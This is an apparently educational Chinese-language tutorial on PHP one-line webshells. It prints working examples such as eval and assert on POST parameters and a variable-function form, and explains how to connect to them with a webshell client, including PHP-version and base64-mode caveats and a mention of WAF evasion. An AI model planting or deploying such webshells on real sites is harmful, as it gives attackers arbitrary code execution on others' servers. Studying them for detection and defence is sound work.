什么是一句话木马
一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令。
一句话木马的原理
我们可以通过GET 、POST 、COOKIE这三种方式向一个网站提交数据,一句话木马用$_GET[’ ‘]、$_POST[’ ‘]、$_COOKIE[’ '] 接收我们传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。
所以看到的经典一句话木马大多都是只有两个部分,一个是可以执行代码的函数部分,一个是接收数据的部分。
例如:
<?php eval(@$_POST['a']); ?>
<?php assert(@$_POST['a']); ?>
其中eval
就是执行命令的函数$_ POST['a']
就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马的强大之处。
示例:
phpinfo.png
因为木马是接收post请求中 “a” 的数据( $_POST[‘a’]),所以我们必须以post方法发送数据并且将我们要执行的代码赋值给“a”。如果把木马中的post替换成get,那么我么就需要以GET方法发送“a”,( 就像这样: http://127.0.0.1/test.php?a=phpinfo(); )我就不再另行演示了。
特殊的一句话木马
正常来说比较常见的一句话木马都是上述例子中直接使用eval函数
若给一个这样形式的一句话木马,该如何使用webshell进行连接呢
<?php $_POST['1']($_POST['2']); ?>
那么就从eval和assert两个不同函数特性来具体说明
如果想通过eval函数来完成一句话木马的话,不能直接1=eval&2
用这种格式连接
如图所示会提示返回数据为空,原因是eval是一个语言构造器而不是一个函数,不能被 可变函数调用。
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。
这么看来eval其实并不能算是‘函数’,而是PHP自身的语言结构,如果需要用‘可变’的方式调用,需要自己构造,类似这样子的:
<?php
function eval_1($str)
{
eval($str);
}
$a='eval_1';
$a('phpinfo()');
?>
所以我们需要借助其他命令执行函数如assert来实现
用1=assert(eval&2)最终转换为php代码为assert(eval($POST_['2']))
如图所示测试成功
注意:测试时需要留意使用php的版本,若使用版本超过7.1则会连接失败。
原因为
或直接使用1=assert&2
来进行连接,不过需注意连接时需要选择base64的形式进行连接
因为assert在php中被认为是一个函数
对两种编码模式进行抓包分析
base64
default执行的是我们的字符串,所以执行失败
通过抓包分析可以看出为什么我们执行了base64又成功了链接了呢,因为我们多了一个eval函数,实质上我们是在执行assert(eval()),所以是可以执行的,我们必须清楚一点,我们的eval函数中参数是字符,assert函数中参数为表达式 (或者为函数)